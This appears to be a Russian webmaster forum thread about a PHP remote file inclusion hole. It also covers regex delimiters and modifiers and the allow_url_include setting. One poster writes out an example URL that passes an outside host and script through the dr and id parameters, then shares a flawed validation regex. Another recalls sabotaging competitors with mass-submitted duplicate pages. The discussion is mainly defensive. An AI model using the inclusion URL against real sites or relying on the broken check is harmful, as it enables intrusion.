Возможно ли так взломат сайт?

DenIT, вот и я о том-же :) (ведёт, хотя ссылка неправильная, и яндекс будет её клеить)

Кстати, а подобными дублями сайт под санкции подвести уже нельзя? Раньше, помнится, можно было налепить через аддурелку несколько тысяч таких кривых страниц - и все, конкурента нет:)

Такое не пройдёт, многие движки сами себе такие кривые страницы генерируют (рнрВВ2 например по дефолту так делает)

Но топик не об этом, а о том что писать надо грамотно, иначе проблем не избежать... (конечно проблемы разные бывают, в том числе и мелкие, однако бывают и крупные, как в случае с ТС и рассылкой спама)

смотрел синтаксис регулярок, но нигде нету описания символа '#', что он означает и что он означает в паре с буковой s '#s' ?

- в данном случае ограничитель паттерна

# - ограничитель (можно использовать другие редкоиспользуемые символы: ~ | /

[^a-z0-9] - сам паттерн (данному паттерну соответствует любой символ, в том числе и перенос строки, кроме цифр и букв латинского алфавита от а до z)

s - модификатор паттерна (в данном случае он не нужен, т.к. перенос строки соответствует паттерну [^a-z0-9] )

Он был там откуда я взял эту регулярку (это я типа стрелки перевожу, типа я не виноват, я только процитировал)

Кстати (по теме топика)

Ссылка по теме: /ru/forum/123522

(там даже место где я заблуждался так-же как и DenIT думая что числа надо переводить в integer)

ini_set('allow_url_include', 0);

Хорошее решение (я бы даже сказал почти правильное) но работает не то что "не на всех" хостингах, а скорее наоборот работает "только на некоторых", плюс ко всему это позволяет инклудить произвольные файлы, а это тоже опасно (хоть и не так опасно, но как я писал уже в слове безопасность нет понятия больше/меньше, есть опасно или нет)

Тут почитал кое - что подумал кой над чем. И думаю так: чтоб запустить чужой скрипт на моём сайте можно только если прописать в Адресе вот это:

http://www.мойсайт/index.php?dr=http://www.чужойсайт.com/&id=connect.php

То есть в параметре dr указывается чужой ардес соотвесно id=чудой скрипт

Для проверки 'dr' и 'id' я пишу регулярку вот в такой форме:

 

if(!empty($id)) 

{ 

if (preg_match('/[^a-z\/]+$/',$dr) || preg_match('/[^a-z]+$/',$id) {$dr='http://www.мойсайт/';$id='файл_ошибки';}

} 

Цель добиться чтоб в dr находились только буквы и слэш (один слэш) , а в id только буквы.

Но что-то не очень выходит у меня цель.) Глянте опытным глазом что не так.

зачем там "+$" нужен ? (не нужен)

Зачем ?

Там нужен DocumentRoot